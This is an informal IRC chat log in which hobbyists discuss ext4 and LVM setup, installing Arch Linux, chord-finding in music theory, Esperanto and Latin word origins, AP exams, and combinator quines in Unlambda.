2.8 - rect->h = fspace.bottomRightCorner.y - fspace.topLeftCorner.y + 1; 01:39:13 2.9 + rect->w = fspace.bottomRightCorner.x - fspace.topLeftCorner.x; 01:39:13 2.10 + rect->h = fspace.bottomRightCorner.y - fspace.topLeftCorner.y; 01:39:16 there 01:39:17 extra space 01:39:30 ..... there's no extra space there ..... at least not in my view ..... tab vs spaces? 01:39:36 GregorR, all tabs 01:39:46 browser fail 01:39:49 konqueror 01:40:06 kerlo: what's the rule? 01:40:21 BROWSER FAIIIIIIIIIIIL 01:42:14 anyone know how to check what filesystem a given device is on linux? 01:42:27 is it mounted? 01:42:35 no, but I can mount it, maybe. 01:42:49 ehird, file -s /dev/abc 01:42:51 i'm not certain debian comes with ext4 out of the box, and I want to check my "mke2fs -t ext4" worked, y'see 01:42:56 the -s makes it work on special files 01:43:00 AnMaster: no file(1) 01:43:02 ehird, note it may be wrong for ext4 01:43:06 minimal busybox installer environment 01:43:08 ehird, mount it 01:43:17 k 01:43:25 do I have to specify "stripe-width=32" on mount time, I wonder? 01:43:26 and check /proc/mounts after 01:43:27 or just at create time 01:43:32 ehird, no clue 01:43:44 kerlo: so what's the rule? 01:43:54 oklofog, scrollback 01:44:07 or... is it foggy? 01:44:40 dunno, maybe i'm just blind 01:44:47 -!- MizardX has quit ("zzz"). 01:44:54 ah that far 01:44:56 ehird, note that filesystem may be mounted as ext3... 01:45:08 ehird, if it doesn't use any of the new features 01:45:12 AnMaster: well this is the issue isn't it 01:45:20 ehird, what 01:45:27 ehird, -t ext4 01:45:32 at mount 01:45:37 if you prefer 01:45:56 awesome, I forgot mount's syntax and I have no man(1) 01:46:02 busybox is fun 01:46:02 oklofog: the root of the chord of a measure is the same as the last note of that measure. 01:46:14 mount -t ext4 /dev/bar /mnt/quux 01:46:15 yeah found 01:46:16 so umm 01:46:25 how's that a rule? 01:46:31 ehird, not sure if busybox mount is the same 01:46:36 like, can it handle ext4 01:46:37 not busybox mount 01:46:42 oklofog: it states that a certain thing is always a certain thing. 01:46:42 ah 01:46:45 That makes it a rule. 01:46:48 AnMaster: this is an lvm partition, it doesn't seem to mount 01:46:56 what trickery do I need to mount an lvm-hosted partition? 01:47:00 kerlo: are you saying some melodies go by that rule? 01:47:00 ehird, mount --help 01:47:03 ehird, err 01:47:06 what 01:47:14 it says no such device. 01:47:16 ehird, what exactly did you do 01:47:27 ehird, because you should need no trickery 01:47:32 With Nightwish's "Amaranth", it works perfectly. With a little tune I came up with once, it works perfectly. With Mozart's Minuet in F for keyboard, K. 5, it fails perfectly. 01:47:47 okay 01:47:49 ehird, assuming you did vgchange -y -a and such of course 01:47:50 mkdir /mnt/sda1 ; mount -t ext4 /dev/sda1 /mnt/sda1 # where mke2fs -t ext4 -E stripe-width=32,resize=500G /dev/sda1 01:47:51 then i don't know what you mean 01:47:58 er 01:47:58 wait 01:48:00 mkdir /mnt/sda1 ; mount -t ext4 /dev/sda1 /mnt/sda1 # where mke2fs -t ext4 -E stripe-width=32,resize=500G /dev/sda1 01:48:02 sda1 isn't the 01:48:03 that isn't lvm 01:48:04 lvm one 01:48:04 at all 01:48:05 dur 01:48:12 amaranth's chorus' first chord is the basic [037]-chord 01:48:14 AnMaster: correct, pvcreate –metadatasize 250k /dev/sda2 is the lvm one 01:48:17 and 01:48:19 i'm confused now 01:48:22 ehird, you would have /dev/my-volume-group/foo 01:48:24 as the device 01:48:26 or something 01:48:32 first measure ends in an A 01:48:32 that's just convention iirc. 01:48:41 where i'm using my standard 0-9A-Z scal 01:48:41 e 01:48:55 kerlo: maybe i forgot what a measure is 01:48:57 i'll check. 01:48:59 ehird, which would be a symlink to /dev/device-mapper/myvolumegroup-foo 01:49:00 iirc 01:49:21 err 01:49:27 /dev/mapper/myvolumegroup-foo 01:49:30 oh, shit 01:49:34 debian's kernel is too old for ext4 01:49:35 kekekeke 01:49:48 # ls /dev/mapper/ -l 01:49:48 total 0 01:49:48 lrwxrwxrwx 1 root root 16 Apr 16 20:05 control -> ../device-mapper 01:49:49 brw-r----- 1 root disk 254, 4 Apr 16 20:06 vg-flightgear 01:49:51 and so on 01:50:13 my main volume group is vg 01:50:39 ehird, " that's just convention iirc." <-- pretty sure it isn't "just" that 01:50:50 kerlo: counterarguments? 01:51:02 AnMaster: it's worth nothing that i don't know shit about lvm 01:51:10 AnMaster: i've caved now. i'm going to try arch linux 01:51:11 ehird, yes. 01:51:12 oklofog: if you're offering, then sure. 01:51:16 Let me find a good tutorial 01:51:17 ehird, ^ 01:51:20 distroshopping :-) 01:51:31 kerlo: counterarguments to my counterargument? 01:51:36 counterBUTTS? 01:51:39 but i think i'm right, why would i do that 01:51:42 ehird, ok. Lets take this easy. Right? 01:51:52 AnMaster: I AM NEVER EASY 01:51:55 Ahe,/ 01:51:57 Sure. 01:51:59 *Ahem. 01:52:10 ehird, You may have your opinions on Gentoo and so on. But it is well known the official docs are high quality. 01:52:10 SO 01:52:15 I'm linking you to: 01:52:18 http://www.gentoo.org/doc/en/lvm2.xml 01:52:26 which describes what you need to know 01:52:35 about how it works overall 01:52:35 oklofog: I haven't actually tried it with the chorus. 01:52:47 ehird, it is centered on gentoo install, just ignore that bit 01:52:53 I kind of get the feeling that LVM2 is horrific but I hvae to use it anyway :) 01:53:03 It actually does work with one part of the Minuet, so perhaps it fails with part of "Amaranth". 01:53:04 kerlo: what part then? give me notes and chords 01:53:08 ehird, it is flexible. Like text config files. 01:53:18 ehird, you can't have both. 01:53:34 i just took the part i remembered first, it's usually the chorus in pieces that are built on one. 01:53:41 ehird, then there is http://www.tldp.org/HOWTO/LVM-HOWTO/ too 01:53:48 the extensive guide 01:53:52 mm 01:54:00 I haven't read all of that 01:54:05 and it is both LVM1 and LVM2 01:54:09 kerlo: i'm pretty sure base note of chord = first note of measure is a better rule. 01:54:43 if not, then you do make an interesting point, in either case the rules governing chords are much more complicated than that. 01:54:55 ehird, anyway, I'm afraid lvm is one of those apps you hate before you "get it" and love once you "get it". And "getting it" requires reading manual. 01:55:10 I'm only using LVM to do aligning stuff :( 01:55:11 :/ 01:55:23 ehird, well. You need to know about it still 01:55:32 you will love it 01:55:47 if necessary, at a knife point ;P 01:55:48 * ehird dl archlinux-2009.02-ftp-i686.iso 01:55:52 AnMaster: I may do. 01:55:56 Notes: A C D .|. . . .|A . G F|E . D C 01:56:10 Decent chords: Dm, Dm, F, C. 01:58:02 kerlo, what about D C#m E B#m7? 01:58:03 I don't think the first note of the measure is reliable at all. 01:58:04 ;P 01:58:13 err 01:58:13 AnMaster: d + C#m? 01:58:25 make that Bbm7 01:58:34 still E is off 01:58:41 oklofog, Yes. Wasn't this the Shönberg competition? 01:58:46 Schönberg* 01:59:02 AnMaster was not serious, as those chords make no sense. I think. 01:59:11 kerlo, correct. 01:59:39 kerlo: i know that. no excuse to have errors. 01:59:40 oklofog, yes change it to Gbm-7+(2/3^2) 01:59:41 ;P 01:59:44 the E that is 01:59:45 AnMaster: how much ram should I have for arch 01:59:46 excuse to have nonsensicalities. 02:00:10 ehird, Well on my Pentium 3 with 512 MB RAM I use Arch Linux. 02:00:21 ehird, and yes LVM. But not for /boot and / of course 02:00:21 AnMaster: will 384 do? 02:00:24 Anyway, the chords for the Minuet can be fixed trivially by shifting them a certain amount. A perfect fifth up or down. 02:00:27 I think. 02:00:34 what do you mean? 02:00:35 I plan on using lvm for / 02:00:38 just not /bot 02:00:44 ehird, well I only run sshd, nfsd and ntp on it... 02:00:57 AnMaster: 384 is enough to run a gnome debian system w/ firefox 02:01:00 with no lag 02:01:11 ehird, then you need initramfs. For arch this means you will need to edit mkinitcpio.conf or something iirc 02:01:21 ? 02:01:21 to say "yes I want lvm tools in my initramfs" 02:01:26 there are docs about it 02:01:26 i don't want lvm for this vm 02:01:27 :p 02:01:30 as in kernel says it 02:01:35 ehird, what then 02:01:44 also not sure if last arch cd has ext4 02:01:47 just want to know how much ram i need for a comfortable graphical arch. 02:01:56 ehird, I never tried that. 02:01:58 So no idea. 02:02:01 "The root of the chord of a measure is a perfect fifth the last note of that measure." 02:02:05 * kerlo checks 02:02:06 kerlo: at least first note is part of the chord with a much greater probability than the last one. the last note isn't an emphasized note. 02:02:23 ehird, I'd try with that and expand if not enough 02:02:27 Below. 02:02:37 ehird, easy since it is a VM right? 02:02:45 Shure. 02:03:11 ehird, also depends on if you select KDE 4.x with compiz or plain xfce or whatever 02:03:21 * kerlo checks his tune again 02:03:24 ehird, oh and KDE is a separate package repo iirc. Called "kdemod" 02:03:31 so you need to check docs. 02:03:36 And I'm heading to bed 02:03:39 03:03... 02:03:53 Leeet's goooooo 02:03:55 2:03 here 02:04:08 kerlo: of course below, that means they are the top note of the chord 02:04:13 GRUB on a CD? 02:04:13 noob :P 02:04:15 OMGWTFBBQ 02:04:26 network stuff -> 02:05:41 AnMaster: The arch installer is not graphical? 02:05:42 :'( 02:06:22 I was wrong. With my little tune, it sucks as well. 02:07:12 kerlo: you do realize most notes whose position are odd (zero-indexed) are secondary notes and can be shifted without major consequences 02:07:22 the last note is often coincidental 02:08:21 Heuristic, then: the longest note is often the root. 02:08:31 i don't really have any idea how well chording can be done computationally 02:08:41 well, songsmith works pretty well 02:09:51 kerlo: if there's a note that's clearly longer than others, it's usually part of the chord. 02:10:18 but, well. heuristics are heuristics 02:10:24 kinda like fish are fish. 02:10:52 but not like a derived class is-a base class. 02:11:05 *how 02:11:10 hmm 02:11:18 maybe not, i forgot what i was doing 02:11:22 i want pizza 02:11:56 50 minutes till last shop that ever closes closes. 02:12:25 would take me about 20 minutes to get there 02:12:45 wonder if i should....... 02:12:48 Songsmith: "Eye of the Tiger? No problem! I'll just play some sunny chords in E flat minor. I hope syncopation is fine..." 02:12:55 s/minor/major/ 02:13:11 well 02:13:18 more like i'll just play some sunny e minor. 02:13:35 E flat major. The song is in C minor. 02:13:41 Maybe it's sunny C minor. 02:14:02 well i don't care, i don't have absolute pitch 02:14:11 sunny [037] 02:14:24 god i hate your lesser standards 02:14:26 Oh, that's your way of saying "minor", isn't it. 02:14:30 yes 02:14:35 it's just as short! 02:15:10 [...] is the sequential way to denote simultaneous notes 02:15:17 Just giving the number of semitones doesn't retain information some people think is important. :-P 02:15:41 Though three semitones is probably not an augmented second, and four semitones is probably not a diminished fourth. 02:15:44 sure, but those people are wrong 02:16:29 * kerlo listens to the Songsmith version of Everlong that doesn't suck. 02:16:49 (Not to be confused with "the Songsmith version of Everlong, which doesn't suck". The official version doesn't suck either.) 02:17:06 i should probably learn some theory 02:17:08 heh 02:17:29 well songsmith's songs are usually good, i think people just aren't capable of listening to them as separate from the originals 02:18:04 then again maybe i just like everything that sounds weird. 02:18:29 Theory teaches you important stuff, like how 2^(10/12) = 7/4, 2^(7/12) = 6/4, and 2^(4/12) = 5/4. 02:18:38 :P 02:18:48 The second approximation is the best, the last is not bad, and the first is the worst. 02:18:50 i have no idea what university music theory even is 02:19:05 probably it's not as good as i'd hope, but probably it's better than what it was in elementary school. 02:19:12 and that other school after taht 02:19:13 *that 02:19:21 Elementary school has theory? 02:19:41 i was in a special music ...stream? god i don't know any terms 02:19:54 class maybe. 02:19:59 Track? 02:20:06 that's probably one term maybe sure yes 02:20:09 The majority of elementary school students I've seen have all been anthropomorphic animals. 02:20:32 i outsmarted pretty much all out teachers 02:20:52 *our 02:21:03 my experience is elementary school teachers are like that. 02:21:28 then again this is just me complaining about how i lost half my life in school 02:21:35 I think I've been mirando too much playful visual media. 02:21:51 right i don't do taht 02:21:53 *that 02:21:57 ("Mirando" being the Spanish word for both "watching" and "looking at". I guess a relatively naive calque would be "mirating".) 02:22:06 (i know) 02:22:28 (oh that was not just a translation) 02:22:35 (it was insight) 02:22:49 What was an insight, not a translation? 02:23:47 well it was a translation, i just meant you had other content than just enough for me to understand what you mean. 02:23:49 *ment 02:23:50 *meant 02:24:02 which is good because i hate people telling me what i already know 02:24:47 Mm. 02:24:58 mainly this here: 'I guess a relatively naive calque would be "mirating".' doesn't add anything to the translation, therefore it was insight. 02:25:49 Now to look for non-naive calques. 02:26:22 sophisticated enough for me 02:26:27 Ooh! "Admire" contains the English root, staring right at you. 02:27:34 does that come straight from spanish? 02:27:36 So "miring". I've been miring too much playful visual media. 02:28:01 "Admire" comes from Latin. 02:28:12 ad + mirari. 02:28:52 The word "mirar" is just a corruption of "mirari", I think, so we're allowed to pretend that "mirari" and "mirar" mean the same thing. 02:29:24 ("Mirari" actually means "admire"; it's just that we English speakers can't do without our ancient, unrecognizable prepositional prefixes.) 02:29:42 :) 02:29:50 * oklofog starts lating next fall! 02:29:52 wait 02:29:53 latin 02:30:20 "start" may be a bad verb for that 02:31:48 * pikhq pensas ke gxi estas malintelegxente. 02:32:13 Wow, someone said a sentence in Esperanto I can understand. 02:32:29 you're wondering who's stupid? 02:32:34 "I'm starting Spanish next year" is a perfectly idiomatic way of saying "My Spanish classes start next year" or "I'm starting to study Spanish next year". 02:32:37 and oh that was esperanto 02:33:29 kerlo: well it sounds right, i'm just gradually losing more and more confidence in my language skills. 02:33:44 Also, I need to study my Esperanto. ;) 02:34:02 *loosing 02:34:10 statistically speaking it's "loosing" 02:34:14 Lawlz. 02:34:33 (i read a lot of english written by finns) 02:34:59 Better than reading English by 'Mericuhns. 02:35:44 that's one helluva pretty spelling 02:36:02 Isn't it? 02:36:03 pikhq: what did that sentence mean? 02:36:11 pikhq: yes, reminds me of walruses 02:37:03 "I think that's stupid." 02:37:10 At least, that's what I wanted it to say. 02:37:10 Properly speaking, it's "losing". :-P 02:37:27 Well, "unintelligent". 02:37:39 kerlo: a pretty lose definition of "proper" 02:37:53 I'm not sure it's "unintelligent" in the sense that non-people can be unintelligent. 02:37:56 !befunge98 88*::*:**02-*.@ 02:37:56 (sorry, i couldn't come up with a better usage) 02:37:56 -2147483648 02:38:22 "That movie had a really low IQ." "This song has the lowest IQ ever." 02:38:24 pikhq: ah so gxi was a pronoun, couldn't deduce that 02:39:10 is "gx" the lojban "x" character? 02:39:43 No, gx is dj in Lojban. 02:39:59 what 02:40:01 okay. 02:40:15 makes sense for intelegxente 02:40:29 Properly written, it's actually g with a circumflex accent. 02:40:29 Yeah. 02:40:43 My terminal hates the compose key. 02:41:03 (which is kinda stunning... rxvt-unicode should surely support, y'know, Unicode.) 02:41:27 hmm 02:41:36 i need to leave pretty much now if i want foods. 02:41:48 i wonder if i do 02:41:56 is eating nice? 02:43:25 i'll take that as a no 02:43:42 Eating is sometimes nice. 02:43:59 On occasion. 02:44:07 but is this an occasion 02:44:09 Hey, look. I've spent so long trying to work on this email that it is now dark outside. 02:44:21 Because of my procrastination, I cannot take a walk. 02:44:51 i probably need to take a walk soon, i'm currently at the uni 02:45:04 (5 am soon) 02:45:48 This is a shame, as I was looking forward to doing that today. 02:46:02 you like walking? alone? 02:46:19 It's more fun than sitting in IRC waiting for someone to say something. 02:46:30 did i say it was not 02:46:46 Then I was rendering your voice wrong. Let's start over. 02:46:50 i've had some of my best ideas walking around 02:46:58 Yes and yes. 02:48:06 people tend to interpret everything to be as hostile as possible, given no explicit sign of friendliness; humans have only communicated textually for so long 02:48:47 Interesting. 02:48:58 not my theory, but i find it very true. 02:49:39 well of course, unkown people are by default only out to kill you and take your food and women 02:49:57 probably the only thing i learned from the "computer science and society" course 02:50:31 Women are property because they cannot be shared whereas men can. 02:50:43 According to a dubious blog post, that is. 02:50:57 if it was in a blog, it's probably true 02:51:16 -!- olsner has quit ("Leaving"). 02:52:08 kerlo: men can be shared but women can't? 02:53:19 in what sense? probably men are better at being shared than women 02:54:13 Well, yeah. Women can't be shared as much as men. 02:54:39 psychologically or biologically? 02:54:51 latter is obvious 02:55:05 former seems obvious, but may well be completely false 02:55:09 *to me 02:55:13 The latter. 02:55:29 Of course, some men are selfish. 02:57:16 hmm, so it seems i'm not going to the shup. 02:57:57 but i probably should consider sleeping soon, especially as i'm not really reading because i'm too tired :) 02:58:51 also why couldn't you take a walk? 03:10:04 Around here, walking at night is generally considered improper or something. 03:10:31 err. what kind of place do you live in? 03:11:03 in cities and the woods it's okay, i guess in the areas between those it might be improper. 03:11:21 well not sure, i've never lived in the woods 03:11:25 just guessing 03:13:09 here it's probably somewhat unsafe to be walking tonight, because it's a holiday of some sort and students are drinking lots 03:13:41 one tried to offer me a night of free beers at a bar on my way here 03:14:31 (i'm fairly sure he was hot for me, i'm quite a gay magnet for some reason) 03:14:58 err 03:15:04 except magnets can't physically be gay 03:15:34 so umm that's kind of a weird idiom. 03:16:20 The Township Trail runs right behind my backyard; it mostly goes through forest. 03:16:35 (I think it also goes through lots of people's front yards. Those people are probably unhappy.) 03:17:28 And we all know that "magnet" is a metaphor for "thing that attracts", and you were using "gay" as a noun. 03:18:08 well it was a joke, based on thinking of gay there as an adjective. 03:18:33 * kerlo shrugs 03:18:41 NO YOU LAUGH THIS INSTANT 03:18:47 * kerlo laughs 03:18:54 i'm such a comedian 03:19:07 I guess there's also the problem of getting into the house when I return. 03:19:29 you live with your parents? 03:19:46 It would probably be illegal for me not to. Yes, I do. 03:19:47 i mean is it a noise problem, or you don't own a key, or the house doesn't let people in at night in any case 03:19:55 err aren't you like 16? 03:20:12 16, yes. 03:20:17 Below the age of majority, I'm sure. 03:20:30 16 isn't a uncommon age to move out in finland 03:20:39 or maybe i just know uncommon people once again 03:20:49 I guess it's not going to be illegal for me to live at school once I go to school. 03:21:25 And it wasn't illegal for me to live in Indiana, though I'm sure there were people responsible for my whereabouts. 03:21:42 probably not. which school was that again? i think you've mentioned so i can ask 03:22:30 It's likely that it's been different every time I've mentioned it. 03:22:36 the to-be school, not the old one 03:22:39 Grand Valley State University is pretty much a certainty by now. 03:22:47 heh 03:22:59 okay never heard of that 03:23:27 is it awesome? i'm always looking for american universities tips 03:23:48 I get the idea that it's pretty darn non-awesome. 03:24:10 Rose-Hulman Institute of Technology is the awesome one. 03:24:22 And it costs about $45,000 per year without scholarships. 03:24:31 what subject, i actually probably don't know? 03:25:03 Mathematics, economics, linguistics, or something similar to those. 03:25:28 well i can get any scholarship, so money isn't much of an issue 03:25:37 I like to call them the MEL subjects. 03:25:49 How do you know you can get any scholarship? 03:25:51 right, i always assumed math but you've talked about english too 03:26:31 well if they are based on merit, i can get them 03:27:17 i have a perfect average, and i've done 2.5 years worth of courses this year, so on paper i'm probably in the top then in the country 03:27:22 *ten 03:27:38 well okay not perfect but i can explain the few flaws 03:27:41 Cool. 03:28:50 Hmm. I wonder if I've ever admired an actual person for their intelligence. 03:29:06 i don't think i've ever admired an actual person 03:29:17 people tend to be kinda stupid, even when they're better than me 03:29:41 I've admired the fictional Charlie Gordon for his, but I tend to think myself able to outdo people, if I put the effort into it. 03:29:49 And I never put the effort into it, so I'm never proven wrong. 03:30:01 well that's pretty much what i did this year, put the effort into it 03:30:59 2.5 years' worth of courses in one year? Bring it on; all of my classes are boring. 03:31:10 bring it one how? 03:31:16 I have no idea. 03:31:20 *on 03:31:49 it's still not that much, i just took a few more courses than i did in high school, here you just usually take very little, so my little is globally speaking a lot 03:32:25 But next week and the week after, I have AP tests. They include Microeconomics, Macroeconomics, Physics C: Electricity and Magnetism, and Chemistry. 03:32:49 well those all sound interesting enough. 03:33:02 AP test? 03:33:06 aptitude 03:33:07 ? 03:33:11 The bulk of my knowledge about economics comes from a one-semester economics course I took two years ago. A lot of my knowledge about physics comes from a one-year physics course I took six years ago. 03:33:27 Advanced Placement; the idea is getting college credit for classes taken in high school. 03:33:33 i don't have any knowledge about either :< 03:33:42 ah okay 03:33:50 Anyway, I'm hoping that the economics tests will be pretty intuitive. 03:34:23 i got "college credit" for the courses i took at the actual university during high school 03:34:45 I think the amount of stuff there is to know about physics is relatively small. 03:34:48 Yeah, not the same. 03:35:14 and from the cisco ccna stuff i did, which was 100% surface learning, i don't remember any of it 03:35:48 Chemistry is something there is a lot to know about, but I got an 800 on the SAT II for it, and I took Honors Chemistry last year. 03:36:00 Let's see, my other AP tests are... 03:36:04 i didn't actually know how to study at high school, i did well enough by just using my brain in the exams 03:36:38 there's not a lot to know about physics? 03:36:48 where's Slereah when you need him 03:36:51 English, Biology, and Calculus BC, I'm taking the classes for, so there's little question that I'll get 5s on those. 03:37:09 oh same grade system, fail-5? 03:37:30 These differential equations govern gravity. These differential equations govern electricity and magnetism. That's it. 03:37:35 It's similar. 03:38:36 1 is "no recommendation", 2 is "possibly qualified", 3 is "qualified", 4 is "well qualified", and 5 is "extremely well qualified". 03:38:59 These refer specifically to "college credit or advanced placement". 03:39:45 right 03:39:51 good luck on those 03:40:25 And the other ones I'm taking are Computer Science AB and Physics C: Mechanics. 03:40:32 speaking of studies, i have four exams next week, so i should probably start considering leaving soon 03:40:51 err AP's or courses? 03:40:56 AP tests. 03:41:00 right right 03:41:14 Each test takes four hours; I think I'll finish each day by 5 PM at the latest. This leaves a nice four hours to study for the next test, eh? 03:41:38 how many you have in one week? 03:41:52 They're spread out relatively evenly over two weeks. 03:42:10 i usually do exams in about 3 hours, therefore i have about 14 hours a day for reading 03:42:28 What, four hours of sleep? 03:42:29 i have 6 exams in the next 2 weeks 03:42:40 err 03:42:49 14+3=17, 24-17=7 03:43:02 but yes, that's how much i sleep when i have exams, or less 03:43:06 Right, right. 03:43:11 3-4 hours 03:43:14 i panic lots. 03:43:33 "OMG WHAT IF I FORGET THE DETAILS OF THIS HEADER" 03:44:16 So, it looks like I have a test on Tuesday, May 5; one on Wednesday, May 6; three on Monday, May 11; one on Tuesday, May 12; one on Wednesday, May 13; and two on Thursday, May 14. 03:44:45 But the three on May 11 are really more like one and two halves, since the Physics C ones are half as long as the others. 03:45:01 taking AP? 03:45:10 coppro: yep. 03:45:17 neat 03:45:23 also, /me should scroll up 03:45:28 that's a lot of exams; then again if it's about aptitude i guess it doesn't matter that much. 03:45:38 Also, I have a load of Spanish homework due on May something. 03:45:56 My Spanish teacher said that I need to be doing about five assignments a day to catch up. 03:46:08 i like to surface learn all the details before the exam, which isn't the point for aptitude stuff (and not for exams either, it's just how i roll). 03:46:13 Due to the fact that I'm not in AP and the fact that AP exams won't get me anything at my target university, I'm not writing any AP exams. 03:46:54 What is "aptitude"? 03:47:03 kerlo: err 03:47:19 the thing i thought ap was about, and still think it is 03:47:21 you know, skill 03:47:41 and not about learning some specific new thing 03:48:04 So practical ability, neither knowledge nor intelligence exclusively but a combination. 03:48:22 ...maybe. 03:48:48 something like that, i just meant it's probably the kind of exam that's more about how well you know the general subject than it is about being you know studied it lots. 03:49:03 like you know understanding. forget it :P 03:49:07 doesn't matter 03:50:18 That's why I don't plan on studying lots. :-P 03:50:22 i just assume it's not the kind of thing you revise that much before the exam, but more the kind of thing that tries to measure what you learned in high school or whatever. 03:50:33 right 03:50:38 that's all i meant 03:51:35 hmm, i'll probably leave in 10 minutes 03:51:48 sun just rose :P 03:52:06 I can study for one on Monday, one on Tuesday, one on Wednesday, one on Thursday, one on Friday, one on Sunday, one on Monday, one on Tueday, one on Wednesday. 03:52:39 next time i don't have to study is probably 19.5. 03:52:43 day.month. 03:52:49 Or I could be responsible and begin studying the day after tomorrow. 03:53:05 excluding these random 3 hour irc breaks 03:53:08 Yeah, right. I have things due Monday. 03:53:26 And I have an email to finish. Be back right before you leave or something. 03:54:04 alrighty, i'll try to consume a few more pages of this trivial networking crap 03:54:08 but what I /do/ need to do is my calculus work 04:00:18 * kerlo finishes the email. 04:00:33 just in time! 04:00:46 * kerlo wins, non-exclusively. 04:00:57 See you. 04:01:00 except i'll just leave irc and read the rest of this thing 04:01:16 so yes, we see like the swedes say. 04:01:21 -!- oklofog has quit ("PJIRC @ http://webirk.dy.fi"). 04:01:22 Of course. 04:06:06 And I guess I have to go now as well. 04:06:33 I have two options: be tired, or get addicted to caffeine. 04:06:58 The obvious explanation for my being tired is that I slept too much last night. :-P 04:07:56 So, plan: read no more than 50 pages of Flowers for Algernon, then work on Spanish. I'm currently on page 185. 04:07:59 See y'all. 04:10:59 I think I'll include a lolcat in my cryptography presentation 04:11:12 namely this specimen, http://geekfriendly.org/blog/wp-content/uploads/2007/06/schrodinger_s-lolcat.jpg 04:23:07 We were talking about PSPACE-complete games in Theory today, and one that he mentioned I think has the potential to be used as the basis for a real game. Given a graph, a starting vertex, and two players, each player selects a vertex pointed to by the current vertex, and crosses the current vertex out. You're not allowed to move to a vertex which is crossed out, and if you can't move, you lose. 04:45:38 -!- pikhq has quit (Read error: 110 (Connection timed out)). 04:57:41 -!- rodgort has quit ("Coyote finally caught me"). 04:58:00 -!- rodgort has joined. 04:58:10 -!- lifthrasiir has quit ("Changing server"). 04:58:45 -!- lifthrasiir has joined. 05:00:39 -!- lifthrasiir has left (?). 05:02:01 That seems really simple. 05:02:31 It makes me wonder if there's a way to estimate the maximum nimber of a group given a random sample. 05:03:20 The obvious answer is no, because it's PSPACE-complete. 05:04:54 -!- lifthrasiir has joined. 05:09:50 -!- psygnisfive has joined. 05:10:49 so! 05:30:14 I 06:02:58 though 06:03:01 t 06:20:40 aww. today's xkcd is cute 06:23:04 that's a good idea 06:23:48 I can hear the sound of a thousand geeks scrambling to make such a script and be Internet Famous 06:24:32 there's got to be some ebay-scraping libraries already 06:26:15 lmfao 06:27:08 it'd be hilarious if someone set up a beartrap in the pentagon 06:27:09 lol 06:29:39 yeah, and they'd probably get a thousand life sentences, if not death by disembowelment and a thousand advertisers trying to use the recent "terrorist attack" to sell their security 06:30:20 ...to exaggerate somewhat 06:32:38 my clock is telling me it's too late for aimless rants 06:32:49 well then 06:32:55 get on AIM and start ranting! 06:33:47 oh no, your clever wordplay has rendered every bit of logical reasoning I've picked up over the years utterly useless! :X 06:34:10 VICTORY IS MINE 06:35:45 Somebody set up us the pun 07:06:24 set us up* 07:12:27 -!- Slereah has joined. 07:13:02 psygnisfive: you clearly don't know how to speak Engrish 07:13:26 except the original quote is "set us up" 07:13:45 oh not its not 07:13:49 damn my faulty memory! 07:14:04 i retract my correction, gracenotes 07:14:13 yeas, "set us up" sounds more natural and more menacing 07:14:49 but your base are not have property natural 07:26:16 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 07:46:25 -!- comex has quit (Read error: 104 (Connection reset by peer)). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:11:46 -!- Ilari has quit ("Shutdown..."). 08:42:43 -!- kerlo has quit (hubbard.freenode.net irc.freenode.net). 08:43:25 -!- kerlo has joined. 09:03:26 -!- oerjan has joined. 09:15:05 -!- Ilari has joined. 09:24:01 AnMaster: The arch installer is not graphical? <-- Yes. Ncurses has line art... :P 09:24:09 anywya 09:24:12 anyway* 09:24:15 you will use it once 09:24:21 does it matter then? 09:24:30 I mean, you won't ever need to use it again after. 09:24:36 since Arch is pure rolling release. 09:25:40 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 09:39:46 -!- lifthrasiir has quit (Remote closed the connection). 09:41:12 -!- lifthrasiir has joined. 09:54:46 -!- BeholdMyGlory has joined. 10:11:42 -!- oerjan has quit ("leaving"). 10:11:58 -!- M0ny has joined. 10:18:30 hi 10:29:47 -!- KingOfKarlsruhe has joined. 10:42:54 -!- MizardX has joined. 10:57:16 -!- tombom has joined. 11:26:53 -!- BeholdMyGlory has quit (Remote closed the connection). 11:40:37 -!- BeholdMyGlory has joined. 11:42:06 -!- FireFly has joined. 12:28:57 oh yeah, Arch is nice! 13:01:20 -!- Judofyr has quit (Remote closed the connection). 13:43:28 -!- KingOfKarlsruhe has quit (Remote closed the connection). 14:33:46 -!- kar8nga has joined. 14:48:00 -!- iano has joined. 15:04:10 -!- iano has quit. 15:08:01 -!- M0ny has quit ("PEW PEW"). 15:10:11 -!- M0ny has joined. 15:11:13 -!- Hiato has joined. 15:35:00 -!- olsner has joined. 15:46:08 -!- Gracenotes has quit ("Leaving"). 15:50:19 -!- coppro has quit (Read error: 110 (Connection timed out)). 16:06:12 -!- Hiato1 has joined. 16:06:24 -!- Hiato has quit (Read error: 104 (Connection reset by peer)). 16:33:31 -!- kar8nga has quit (Read error: 60 (Operation timed out)). 16:35:09 -!- kar8nga has joined. 16:37:35 -!- ais523 has joined. 16:48:19 -!- louzer has joined. 16:50:03 Is there a mechanical way to make a quine of a combinator? 16:50:23 something like a fixed point combinator? 16:52:42 What do you call a quine from a combinator, exactly? 16:54:50 A quine from an expression made of combinators is something that evaluates producing the same expression that was evaluated. 16:55:48 -!- Gracenotes has joined. 16:55:52 Happy Mailman day! 16:56:19 That would be... a non-normal form? 16:56:26 louzer: ```sii``sii is the most famous combinator quine, in that sense 16:56:33 although any such quine is necessarily an infinite loop 16:56:39 Yeah 16:57:03 And I'm not sure you can actually compute to check for it. 16:57:12 hi btw ais523 16:57:16 Halting problem and all 16:57:19 hi 16:57:54 Unless you can, since it's not actually every non-normal forms 16:57:57 Iunno 16:58:02 Slereah: that's an interesting question. "Does a combinator expression halt" is obviously unsolvable. "Does a combinator expression ever return to its starting point when evaluated" is I suspect unsolvable, but it's not obvious from the halting problem that it is 17:01:42 * AnMaster is trying to build gcc 4.4 17:01:56 it has some new dependencies. Which has more dependencies. 17:01:57 and so on 17:02:38 two deps left ot compile before it's time to compile gcc itself. 17:03:13 I love the Ubuntu/Debian "install all build dependencies of this package" command 17:03:33 lets you build what parts of the system you like by hand, without chasing dependencies 17:05:00 ais523, they are not in stable arch linux at least yet. 17:05:02 ais523, Perhaps there are ways for a combinator expression to loop forever without ever reaching its starting point 17:05:13 louzer: there definitely are 17:05:21 ais523, plus I had to recompile one dep (gmp) to enable some more options for it 17:05:26 and so on 17:05:45 ```s``skki``sii becomes ```sii``sii after once round the loop, IIRC 17:05:56 and from then on is ```sii``sii forever 17:06:00 ais523, that was quick 17:06:18 heh, ```s.a.b``s.c.d is the usual expression I use to test Unlambda interps 17:06:22 ais523, what about one not ever reaching the same state again. As 